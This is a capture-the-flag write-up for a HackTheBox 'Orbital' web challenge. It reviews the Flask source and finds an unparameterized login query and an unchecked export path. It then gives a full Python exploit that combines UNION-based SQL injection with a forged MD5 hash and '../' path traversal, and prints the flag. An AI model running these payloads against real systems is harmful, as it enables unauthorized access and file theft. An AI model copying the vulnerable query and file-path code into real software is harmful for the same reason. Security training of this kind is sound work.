Category: Web
Difficulty: Easy
Description: In order to decipher the alien communication that held the key to their location, she needed access to a decoder with advanced capabilities - a decoder that only The Orbital firm possessed. Can you get your hands on the decoder?
Address: 165.232.108.249:30089
Attachments: web_orbital.zip
If we visit the website we will see a login form that asks us for username and password and nothing else:
Since we also have the source code of the site let’s look into it. From the Dockerfile we can see that the website is made using python and the Flask framework, and we can also see that the flag will be stored in the file /signal_sleuth_firmware
. From the web_orbital/entrypoint.sh
file we can see that 2 table are created into a MySQL database and filled with some data:
....
....
CREATE DATABASE orbital;
CREATE TABLE orbital.users (
id INTEGER PRIMARY KEY AUTO_INCREMENT,
username varchar(255) NOT NULL UNIQUE,
password varchar(255) NOT NULL
);
CREATE TABLE orbital.communication (
id INTEGER PRIMARY KEY AUTO_INCREMENT,
source varchar(255) NOT NULL,
destination varchar(255) NOT NULL,
name varchar(255) NOT NULL,
downloadable varchar(255) NOT NULL
);
INSERT INTO orbital.users (username, password) VALUES ('admin', '$(genPass)');
INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Titan', 'Arcturus', 'Ice World Calling Red Giant', 'communication.mp3');
INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Andromeda', 'Vega', 'Spiral Arm Salutations', 'communication.mp3');
INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Proxima Centauri', 'Trappist-1', 'Lone Star Linkup', 'communication.mp3');
INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('TRAPPIST-1h', 'Kepler-438b', 'Small World Symposium', 'communication.mp3');
INSERT INTO orbital.communication (source, destination, name, downloadable) VALUES ('Winky', 'Boop', 'Jelly World Japes', 'communication.mp3');
....
....
Unfortunatelly, the password of the admin
user is not known so we have to further investigate the source code.
From the web_orbital/challenge/application/blueprints/routes.py
file we can see the function that handle the login:
....
....
@api.route('/login', methods=['POST'])
def apiLogin():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
username = data.get('username', '')
password = data.get('password', '')
if not username or not password:
return response('All fields are required!'), 401
user = login(username, password)
if user:
session['auth'] = user
return response('Success'), 200
return response('Invalid credentials!'), 403
....
....
It perform a basic check just to verify that the username and the password aren’t empty and then the authentication is handled by the login
function, which is located in the web_orbital/challenge/application/database.py
file, so let’s see what it does:
....
....
def login(username, password):
# I don't think it's not possible to bypass login because I'm verifying the password later.
user = query(f'SELECT username, password FROM users WHERE username = "{username}"', one=True)
if user:
passwordCheck = passwordVerify(user['password'], password)
if passwordCheck:
token = createJWT(user['username'])
return token
else:
return False
....
....
The function make a query to the SQL database only for the username and then the password check is handled by the passwordVerify
function, which is located into the web_orbital/challenge/application/util.py
file. Before going on, we can notice that the SQL query is not parameterized, so it is vulnerable to an SQL injection, maybe it will be useful later, who knows… Ok, now the passwordVerify
function is the following:
....
....
def passwordVerify(hashPassword, password):
md5Hash = hashlib.md5(password.encode())
if md5Hash.hexdigest() == hashPassword: return True
else: return False
....
....
It checks the password in this way so in order to pass the check we need to supply the correct password.. which we don’t know. But since there is an SQL injection vulnerability in the login
function, we can use an UNION
SQL statement, together with a wrong username, to control the output of the query. This can be done by supplying as username a string like test" UNION SELECT "admin", "...." --
: in this way, since the test
user is not present, that would give an empty result, and with UNION
we concatenate the data we want. Since then, in the passwordVerify
function, the check will be performed against the md5 hash of our supplied password value in the login form, we need to place in the SQL injection query the hash of what we inserted as password.
After doing that and successfully logged in, if we look at other endpoints in the web_orbital/challenge/application/blueprints/routes.py
file, we can see this interesting one:
....
....
@api.route('/export', methods=['POST'])
@isAuthenticated
def exportFile():
if not request.is_json:
return response('Invalid JSON!'), 400
data = request.get_json()
communicationName = data.get('name', '')
try:
# Everyone is saying I should escape specific characters in the filename. I don't know why.
return send_file(f'/communications/{communicationName}', as_attachment=True)
except:
return response('Unable to retrieve the communication'), 400
....
....
It doesn’t check at all the name
parameter that we control, so we can set a value like ../signal_sleuth_firmware
and retrieve the flag. All this can be automatized with the following python script:
#!/usr/bin/env python3
import requests
import hashlib
ADDRESS = "165.232.108.249:30089"
def main():
password = "you_have_been_hacked"
passwd_hash = hashlib.md5(password.encode()).hexdigest()
s = requests.Session()
resp = s.post(f"http://{ADDRESS}/api/login", json={
"username": f'test" UNION SELECT "admin", "{passwd_hash}" -- ',
"password": password
}, headers={
'Content-Type': 'application/json'
})
resp = s.post(f"http://{ADDRESS}/api/export", json={
"name": '../signal_sleuth_firmware'
}, headers={
'Content-Type': 'application/json'
}, stream=True)
print(resp.raw.read().decode('UTF-8'))
if __name__ == "__main__":
main()
And finally, if we execute it:
$ chmod +x exploit.py
$ ./exploit.py
HTB{T1m3_b4$3d_$ql1_4r3_fun!!!}